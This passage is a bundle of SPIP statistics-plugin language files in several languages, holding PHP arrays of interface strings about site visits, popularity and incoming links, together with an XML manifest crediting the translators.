'icone_repartition_visites' => 'توزيع الزيارات',
'icone_statistiques_visites' => 'الإحصاءات',
'info_affichier_visites_articles_plus_visites' => 'إظهار الزيارات المتعلقة <b> بأكثر المقالات زيارة منذ البداية:</ b>',
'info_comment_lire_tableau' => 'كيفية قراءة هذا الرسم البياني',
'info_forum_statistiques' => 'إحصاءات الزيارات',
'info_popularite_2' => 'شعبية الموقع:',
'info_popularite_3' => 'الشعبية: @popularite@؛ الزيارات: @visites@',
'info_popularite_5' => 'الشعبية:',
'info_previsions' => 'توقعات:',
'info_question_vignettes_referer' => 'عندما تعاين الاحضاءات، يمكنك ايضاً مشاهدة مصغرات عن المواقع الصادرة منها.',
'info_question_vignettes_referer_oui' => 'عرض مصغرات عن مواقع مصدر الزيارات',
'info_visites' => 'زيارة:',
'info_visites_plus_populaires' => 'إظهار الزيارات <b>لأكثر المقالات شعبية</b> و<b>لأحدث المقالات المنشورة:</ b>',
'info_zoom' => 'تكبير-تصغير العرض',
'item_gerer_statistiques' => 'إدارة إحصاءات الزيارات',
// O
'onglet_origine_visites' => 'مصدر الزيارات',
'onglet_repartition_debut' => 'منذ البداية',
'onglet_repartition_lang' => 'التوزيع حسب اللغات',
// R
'resume' => 'ملخص',
// T
'texte_admin_effacer_stats' => 'هذا الأمر يحذف كل البيانات المرتبطة بإحصاءات زيارات الموقع، بما فيها شعبية المقالات.',
'texte_admin_effacer_toutes_stats' => 'يجذف الزر الأول كل الإحصاءات: الزيارات والشعبية والوصلات الآتية.',
'texte_comment_lire_tableau' => 'تظهر مرتبة
المقال في تصنيف الشعبية، في
الهامش؛ وتظهر شعبية المقال (تقدير
لعدد الزيارات اليومية التي قد يسجلها اذا حافظ
تصفح الموقع على وتيرته الحالية) وعدد الزيارات
المسجلة منذ البداية، في المربع الذي
يظهر لدى حوم مؤشر الفأرة فوق العنوان.',
'texte_signification' => 'القضبان الداكنة تجسد البنود المتراكمة (مجموع الأقسام الفرعية)، القضبان الفاتحة تجسد عدد الزيارات لكل قسم.',
'titre_evolution_visite' => 'تطور الزيارات',
'titre_liens_entrants' => 'الوصلات الآتية',
'titre_page_statistiques' => 'الاحصاءات حسب القسم',
'titre_page_statistiques_visites' => 'إحصاءات الزيارات',
// V
'visites_journalieres' => 'عدد الزيارات اليومية',
'visites_mensuelles' => 'عدد الزيارات الشهرية'
);
?>
paquet-stats_pt.php 0000666 00000000673 15252540432 0010427 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Estatísticas de SPIP',
'stats_nom' => 'Estatísticas',
'stats_slogan' => 'Gerir as estatísticas em SPIP'
);
?>
statistiques_it.php 0000666 00000006161 15252540432 0010525 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=it
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Eliminare solo i collegamenti in entrata',
'bouton_effacer_statistiques' => 'Cancellare le statistiche',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Evoluzione delle visite<br />@visites@ visite',
'icone_repartition_actuelle' => 'Mostra la ripartizione attuale',
'icone_repartition_visites' => 'Distribuzione delle visite',
'icone_statistiques_visites' => 'Statistiche delle visite',
'info_affichier_visites_articles_plus_visites' => 'Mostra le visite per <b>gli articoli più letti dall’inaugurazione del sito:</b>',
'info_comment_lire_tableau' => 'Come leggere questa tabella',
'info_forum_statistiques' => 'Statistiche delle visite',
'info_popularite_2' => 'popolarità del sito: ',
'info_popularite_3' => 'popolarità: @popularite@; visite: @visites@',
'info_popularite_5' => 'popolarità:',
'info_previsions' => 'previsioni :',
'info_question_vignettes_referer' => 'Quando si consultano le statistiche è possibile visualizzare delle anteprime dei siti di origine delle visite',
'info_question_vignettes_referer_oui' => 'Visualizzare le catture di schermo dei siti di origine delle visite',
'info_visites' => 'visite:',
'info_visites_plus_populaires' => 'Pubblica le visite per <b>gli articoli più popolari </b> e per <b>gli ultimi articoli pubblicati:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gestisci le statistiche delle visite',
// O
'onglet_origine_visites' => 'Origine delle visite',
'onglet_repartition_debut' => 'dall’inizio',
'onglet_repartition_lang' => 'Suddivisione per lingua',
// R
'resume' => 'Riassunto',
// T
'texte_admin_effacer_stats' => 'Questo comando cancella tutti i dati collegati alle statistiche delle visite al sito, comprese la popolarità degli articoli.',
'texte_admin_effacer_toutes_stats' => 'Il pulsante elimina tutte le statistiche: visite, popolarità degli articoli, e connessioni entranti.',
'texte_comment_lire_tableau' => 'Il posizionamento dell’articolo,
nella classifica per popolarità, è indicato qui
sopra. La popolarità dell’articolo (una stima del
numero di visite quotidiane che riceverà rimanendo costante il ritmo attuale di
consultazione) e il numero di visite ricevute dall’inizio,
sono visualizzati nel commento che appare
quando si passa con il mouse sopra al titolo.',
'texte_signification' => 'Le barre più scure rappresentano le entrate accumulate (per il totale delle sottorubriche), le barre più chiare il numero di visite per ogni rubrica.',
'titre_evolution_visite' => 'Evoluzione delle visite',
'titre_liens_entrants' => 'I link odierni al tuo sito',
'titre_page_statistiques' => 'Statistiche per rubrica',
'titre_page_statistiques_visites' => 'Statistiche delle visite',
// V
'visites_journalieres' => 'Numero di visite per giorno',
'visites_mensuelles' => 'Numero di visite per mese'
);
?>
statistiques_sv.php 0000666 00000004075 15252540432 0010543 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=sv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Radera statistiken', # MODIF
// I
'icone_evolution_visites' => 'Besöksantal<br />@visites@ besök',
'icone_repartition_actuelle' => 'Visa den nuvarande fördelningen',
'icone_repartition_visites' => 'Fördelning av besök',
'icone_statistiques_visites' => 'Statistik',
'info_affichier_visites_articles_plus_visites' => 'Visa besök till <b>de mest besökta artiklarna sedan starten:</b>',
'info_comment_lire_tableau' => 'Hur tolkar man den här bilden',
'info_forum_statistiques' => 'Besöksstatistik',
'info_popularite_2' => 'sajtens popularitet:',
'info_popularite_3' => 'populäritet: @popularite@; besök: @visites@',
'info_popularite_5' => 'popularitet:',
'info_question_vignettes_referer_oui' => 'Visa skärmbilder av länkande sajter',
'info_visites' => 'besök:',
'info_visites_plus_populaires' => 'Visa besök till <b>de populäraste artiklarna</b> och till <b>de senast publicerade artiklarna:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Hantera statistik', # MODIF
// O
'onglet_origine_visites' => 'Besökarnas ursprung',
'onglet_repartition_debut' => 'från början',
'onglet_repartition_lang' => 'Fördelning efter språk',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Artikeln rank i popularitetsklassificeringen visas i marginalen; artikelns popularitet (en uppskattning av antalet dagliga besök den skulle få om den aktuella trafikmängden upprätthålls) och antal besök sedan starten visas i bubblan som dyker upp när muspekaren hålls över titeln.',
'titre_evolution_visite' => 'Besöksnivå',
'titre_liens_entrants' => 'Inkommande länkar',
'titre_page_statistiques' => 'Statistik uppdelat på avdelning',
'titre_page_statistiques_visites' => 'Besöksstatistik'
);
?>
statistiques_is.php 0000666 00000001103 15252540432 0010513 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=is
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_statistiques_visites' => 'Tölfræði heimsókna', # MODIF
'info_popularite_5' => 'vinsældir :',
// O
'onglet_origine_visites' => 'Uppruni heimsókna',
'onglet_repartition_debut' => 'frá upphafi',
'onglet_repartition_lang' => 'eftir tungumáli' # MODIF
);
?>
statistiques_gl.php 0000666 00000005175 15252540432 0010517 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=gl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Borrar as estatísticas', # MODIF
// I
'icone_evolution_visites' => 'Evolución das visitas<br />@visites@ visitas',
'icone_repartition_actuelle' => 'Mostrar a distribución actual',
'icone_repartition_visites' => 'Distribución das visitas',
'icone_statistiques_visites' => 'Estatísticas',
'info_affichier_visites_articles_plus_visites' => 'Mostrar as visitas de <b>os artigos máis visitados dende o principio:</b>',
'info_comment_lire_tableau' => 'Cómo interpretar este cadro',
'info_forum_statistiques' => 'Estatísticas das visitas',
'info_popularite_2' => 'popularidade do web:',
'info_popularite_3' => 'popularidade: @popularite@; visitas: @visites@',
'info_popularite_5' => 'popularidade :',
'info_previsions' => 'previsións:',
'info_question_vignettes_referer' => 'Cando vostede consulte as estatísticas, pode visualizar resumos dos webs que orixinan as visitas.',
'info_question_vignettes_referer_oui' => 'Mostrar as capturas de web de orixe das visitas',
'info_visites' => 'visitas:',
'info_visites_plus_populaires' => 'Mostrar as visitas para <b>os artigos máis populares</b> e para <b>os últimos artigos publicados:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Xestionar as estatísticas', # MODIF
// O
'onglet_origine_visites' => 'Orixe das visitas',
'onglet_repartition_debut' => 'desde o principio',
'onglet_repartition_lang' => 'Distribución por linguas',
// T
'texte_admin_effacer_stats' => 'Este comando borra todos os datos ligados ás estatísticas de visita do web, e inclúe a popularidade dos artigos.',
'texte_comment_lire_tableau' => 'O rango do artigo, na clasificación por popularidade, está indicado á marxe; a popularidade do artigo (unha estimación do número de visitas cotiás que terá se o ritmo actual de consulta se mantén) e o número de visitas recibidas dende o principio son amosadas no bolo que aparece cando pasas co rato por riba do título.',
'texte_signification' => 'As barras escuras representan as entradas acumuladas (total dos apartados), as barras claras o número de visitas para cada tema.',
'titre_evolution_visite' => 'Evolución das visitas',
'titre_liens_entrants' => 'As ligazóns entrantes do día',
'titre_page_statistiques' => 'Estatísticas por temas',
'titre_page_statistiques_visites' => 'Estatísticas das visitas'
);
?>
statistiques_pt.php 0000666 00000006064 15252540432 0010536 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Apagar apenas as ligações que são recebidas',
'bouton_effacer_statistiques' => 'Apagar todas as estatísticas',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Evolução das visitas <br />@visites@ visitas',
'icone_repartition_actuelle' => 'Exibir a distribuição actual',
'icone_repartition_visites' => 'Distribuição das visitas',
'icone_statistiques_visites' => 'Estatísticas de visitas',
'info_affichier_visites_articles_plus_visites' => 'Exibir as visitas para <b>os artigos mais visitados desde o início :</b>',
'info_comment_lire_tableau' => 'Como ler este quadro',
'info_forum_statistiques' => 'Estatísticas das visitas',
'info_popularite_2' => 'popularidade do sítio :',
'info_popularite_3' => 'popularidade : @popularite@ ; visitas : @visites@',
'info_popularite_5' => 'popularidade :',
'info_previsions' => 'previsões :',
'info_question_vignettes_referer' => 'Quando consultar as estatísticas, pode ver uma pré-visualização de qualquer sítio de origem das visitas.',
'info_question_vignettes_referer_oui' => 'Exibir as capturas de ecrã dos sítios de origem das visitas',
'info_visites' => 'visitas :',
'info_visites_plus_populaires' => 'Exibir as visitas para <b>os artigos mais populares</b> e para <b>os últimos artigos publicados :</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerir as estatísticas das visitas',
// O
'onglet_origine_visites' => 'Origem das visitas',
'onglet_repartition_debut' => 'desde o início',
'onglet_repartition_lang' => 'Distribuição por idiomas',
// R
'resume' => 'Resumo',
// T
'texte_admin_effacer_stats' => 'Esta opção apaga todas as estatísticas das visitas ao seu sítio web, incluindo a popularidade dos artigos.',
'texte_admin_effacer_toutes_stats' => 'O primeiro botão apaga todas as estatísticas: visitas, popularidade dos artigos e ligações recebidas.',
'texte_comment_lire_tableau' => 'O lugar do artigo,
na classificação por popularidade, é indicado na margem ; a popularidade do artigo (uma estimativa do número de visitas diárias que receberá se o ritmo actual de consulta se mantiver) e o número de visitas recebidas desde o início são exibidos no balão que aparece quando o rato passa sobre o título.',
'texte_signification' => 'As barras escuras representam as entradas acumuladas (total das sub-rubricas), as barras claras o número de visitas para cada rubrica.',
'titre_evolution_visite' => 'Evolução das visitas',
'titre_liens_entrants' => 'Ligações a entrar',
'titre_page_statistiques' => 'Estatísticas por rubricas',
'titre_page_statistiques_visites' => 'Estatísticas das visitas',
// V
'visites_journalieres' => 'Número de visitas por dia',
'visites_mensuelles' => 'Número de visitas por mês'
);
?>
paquet-stats_ar.php 0000666 00000000707 15252540432 0010404 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'إحصاءات SPIP',
'stats_nom' => 'الإحصاءات',
'stats_slogan' => 'إدارة الإحصاءات في SPIP'
);
?>
statistiques_oc_lnc.php 0000666 00000004327 15252540432 0011350 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_lnc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Evolucion de las vesitas<br />@visites@ vesitas',
'icone_repartition_actuelle' => 'Afichar la reparticion actuala',
'icone_repartition_visites' => 'Reparticion de las vesitas',
'icone_statistiques_visites' => 'Estadisticas',
'info_affichier_visites_articles_plus_visites' => 'Afichar las vesitas pels <b>articles mai vesitats dempuèi lo començament:</b>',
'info_comment_lire_tableau' => 'Cossí legir aquel tablèu',
'info_forum_statistiques' => 'Estadisticas de las vesitas',
'info_popularite_2' => 'popularitat del sit:',
'info_popularite_3' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_5' => 'popularitat:',
'info_visites' => 'vesitas:',
'info_visites_plus_populaires' => 'Afichar las vesitas <b>pels articles mai populars</b> e <b>pels darrièrs articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerir las estadisticas', # MODIF
// O
'onglet_origine_visites' => 'Origina de las vesitas',
'onglet_repartition_debut' => 'dempuèi la començança',
'onglet_repartition_lang' => 'Reparticion per lengas',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Lo reng de l’article,
dins lo classament per popularitat, es indicat dins lo marge; la popularitat de l’article
(una estimacion del nombre de vesitas quotidianas qu’el recebrà se lo ritme actual de consultacion se manten) e lo nombre de vesitas recebudas
dempuèi lo començament s’afichan dins la bofiga
qu’apareis quora la mirga passa sul títol.',
'texte_signification' => 'Las barras escuras representan las intradas cumuladas (total de las sosrubricas), las barras claras lo nombre de vesitas per cada rubrica.',
'titre_evolution_visite' => 'Evolucion de las vesitas',
'titre_liens_entrants' => 'Ligams intrants',
'titre_page_statistiques' => 'Estadisticas per rubricas',
'titre_page_statistiques_visites' => 'Estadisticas de las vesitas'
);
?>
statistiques_oc_lms.php 0000666 00000004337 15252540432 0011370 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_lms
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Evolucion de las vesitas<br />@visites@ vesitas',
'icone_repartition_actuelle' => 'Afichar la reparticion actuala',
'icone_repartition_visites' => 'Reparticion de las vesitas',
'icone_statistiques_visites' => 'Estadisticas',
'info_affichier_visites_articles_plus_visites' => 'Afichar las vesitas per los <b>articles mai vesitats dempuei lo començament:</b>',
'info_comment_lire_tableau' => 'Coma legir queu tableu',
'info_forum_statistiques' => 'Estadisticas de las vesitas',
'info_popularite_2' => 'popularitat dau sit:',
'info_popularite_3' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_5' => 'popularitat:',
'info_visites' => 'vesitas:',
'info_visites_plus_populaires' => 'Afichar las vesitas <b>per los articles mai populars</b> e <b>per los darriers articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerir las estadisticas', # MODIF
// O
'onglet_origine_visites' => 'Origina de las vesitas',
'onglet_repartition_debut' => 'dempuei lo començament',
'onglet_repartition_lang' => 'Reparticions per lengas',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Lo reng de l’article,
dins lo classament per popularitat, es indicat dins lo marge; la popularitat de l’article
(una estimacion dau nombre de vesitas quotidianas qu’eu recebrá se lo ritme actuau de consultacion se manten) e lo nombre de vesitas recebudas
dempuei lo començament s’afichan dins la bofiòla
qu’apareis quand la murja passa sus lo títol.',
'texte_signification' => 'Las barras escuras representan las entradas cumuladas (totau de las sosrubricas), las barras claras lo nombre de vesitas per chasca rubrica.',
'titre_evolution_visite' => 'Evolucion de las vesitas',
'titre_liens_entrants' => 'Liams entrants ',
'titre_page_statistiques' => 'Estadisticas per rubricas',
'titre_page_statistiques_visites' => 'Estadisticas de las vesitas'
);
?>
paquet-stats_en.php 0000666 00000000664 15252540432 0010406 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Statistics of SPIP',
'stats_nom' => 'Statistics',
'stats_slogan' => 'Statistics management in SPIP'
);
?>
paquet-stats.xml 0000666 00000007177 15252540432 0007743 0 ustar 00 <traduction module="paquet-stats" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/statistiques/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=ar" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=de" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=en" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=es" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=fa" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=fr" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=fr_fem" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=it" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=lb" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=nl" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=pt" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=pt_br" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=ru" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=sk" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-stats_sk.php 0000666 00000000662 15252540432 0010417 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=sk
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Štatistiky SPIPu',
'stats_nom' => 'Štatistiky',
'stats_slogan' => 'Správa štatistík v SPIPe'
);
?>
statistiques_oc_ni_la.php 0000666 00000004300 15252540432 0011645 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_ni_la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Evolucion dei vesitas<br />@visites@ vesitas',
'icone_repartition_actuelle' => 'Afichar la reparticion actuala',
'icone_repartition_visites' => 'Reparticion dei vesitas',
'icone_statistiques_visites' => 'Estadisticas',
'info_affichier_visites_articles_plus_visites' => 'Afichar li vesitas per lu <b>articles mai vesitats despí lo començament:</b>',
'info_comment_lire_tableau' => 'Coma legir aqueu tablèu',
'info_forum_statistiques' => 'Estadisticas dei vesitas',
'info_popularite_2' => 'popularitat dau sit:',
'info_popularite_3' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_5' => 'popularitat:',
'info_visites' => 'vesitas:',
'info_visites_plus_populaires' => 'Afichar li vesitas <b>per lu articles mai populars</b> e <b>per lu darriers articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerir li estadisticas', # MODIF
// O
'onglet_origine_visites' => 'Orígina dei vesitas',
'onglet_repartition_debut' => 'despí la començança',
'onglet_repartition_lang' => 'Reparticion per lengas',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Lo reng de l’article,
dins lo classament per popularitat, es indicat dins lo marge; la popularitat de l’article
(una estimacion dau nombre de vesitas quotidiani qu’eu recebrà se lo ritme actuau de consultacion si manten) e lo nombre de vesitas recebudi
despí lo començament s’afichan dins la bofiga
qu’apareisse quora la rateta passa sus lo títol.',
'texte_signification' => 'Li barras escuri representan li intradas cumuladi (totau dei sosrubricas), li barras clari lo nombre de vesitas per cada rubrica.',
'titre_evolution_visite' => 'Evolucion dei vesitas',
'titre_liens_entrants' => 'Lu ligams intrants',
'titre_page_statistiques' => 'Estadisticas per rubricas',
'titre_page_statistiques_visites' => 'Estadisticas dei vesitas'
);
?>
statistiques_eo.php 0000666 00000004736 15252540432 0010522 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=eo
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Forviŝi statistikojn', # MODIF
// I
'icone_evolution_visites' => 'Evoluado de la vizitoj<br />@visites@ vizitoj',
'icone_repartition_actuelle' => 'Afiŝi la nunan distribuon',
'icone_repartition_visites' => 'Vizitoj-distribuo',
'icone_statistiques_visites' => 'Statistikoj',
'info_affichier_visites_articles_plus_visites' => 'Afiŝi la vizitojn por la <b>plej vizititaj artikoloj ekde la komenco :</b>',
'info_comment_lire_tableau' => 'Kiel legi tiun ĉi tabelon',
'info_forum_statistiques' => 'Statistikoj pri vizitoj',
'info_popularite_2' => 'populareco de la retejo :',
'info_popularite_3' => 'populareco : @popularite@ ; vizitoj : @visites@',
'info_popularite_5' => 'populareco :',
'info_question_vignettes_referer' => 'Kiam vi konsultas statistikojn, vi povas havi superrigardon pri tio, de kiuj retejoj venas vizitantoj',
'info_question_vignettes_referer_oui' => 'Vidigi de kiuj retejoj venas vizitantoj',
'info_visites' => 'vizitoj :',
'info_visites_plus_populaires' => 'Afiŝi la vizitojn por <b>la plej popularaj artikoloj</b> kaj por <b>la laste publikigitaj artikoloj :</b>',
'info_zoom' => 'zomo',
'item_gerer_statistiques' => 'Mastrumi statistikojn', # MODIF
// O
'onglet_origine_visites' => 'Deveno de la vizitintoj',
'onglet_repartition_debut' => 'dekomence',
'onglet_repartition_lang' => 'Distribuo laŭ lingvoj',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'La rango de la artikolo, en la klasifiko laŭ populareco, estas indikita en la marĝeno ; la populareco de la artikolo (taksado de la nombro de ĉiutagaj vizitoj, kiun ĝi atingos se la nuna vizit-ritmo tiel daŭros) kaj la nombro de vizitoj ricevitaj de la komenco afiŝiĝas en la veziko kiu aperas kiam la tajpmontrilo superpasas la titolon.',
'texte_signification' => 'La ruĝaj stangoj reprezentas la sumigitajn datenojn (sumo de la sub-rubrikoj), la helaj stangoj, la nombron de vizitoj por ĉiu rubriko.',
'titre_evolution_visite' => 'Evoluo de la vizitoj',
'titre_liens_entrants' => 'Enirintaj ligoj',
'titre_page_statistiques' => 'Statistikoj laŭ rubrikoj',
'titre_page_statistiques_visites' => 'Statistikoj de la vizitoj'
);
?>
paquet-stats_nl.php 0000666 00000000706 15252540432 0010412 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-stats?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// S
'stats_description' => 'Statistieken van SPIP',
'stats_nom' => 'Statistieken',
'stats_slogan' => 'Beheer van de bezoekenstatistieken in SPIP'
);
?>
statistiques_es.php 0000666 00000006136 15252540432 0010522 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Eliminar sólo los enlaces entrantes',
'bouton_effacer_statistiques' => 'Borrar todas las estadísticas',
// C
'csv' => 'csv',
// I
'icone_evolution_visites' => 'Evolución de las visitas<br />@visites@ visitas',
'icone_repartition_actuelle' => 'Mostrar el reparto actual',
'icone_repartition_visites' => 'Distribución de las visitas',
'icone_statistiques_visites' => 'Estadísticas de visitas',
'info_affichier_visites_articles_plus_visites' => 'Mostrar las visitas de <b>los artículos más visitados desde el inicio:</b>',
'info_comment_lire_tableau' => 'Como leer este cuadro',
'info_forum_statistiques' => 'Estadísticas de las visitas',
'info_popularite_2' => 'Popularidad del sitio:',
'info_popularite_3' => 'Popularidad: @popularite@ Visitas: @visites@',
'info_popularite_5' => 'Popularidad:',
'info_previsions' => 'pronósticos :',
'info_question_vignettes_referer' => 'Cuando consultes las estadísticas, puedes tener una vista de los sitios de origen de las visitas',
'info_question_vignettes_referer_oui' => 'Mostrar las capturas de los sitios de origen de las visitas',
'info_visites' => 'visitas:',
'info_visites_plus_populaires' => 'Mostrar las visitas de <b>los artículos más populares</b> y de <b>los últimos artículos publicados</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gestionar las estadísticas de visitas',
// O
'onglet_origine_visites' => 'Origen de las visitas',
'onglet_repartition_debut' => 'desde el principio',
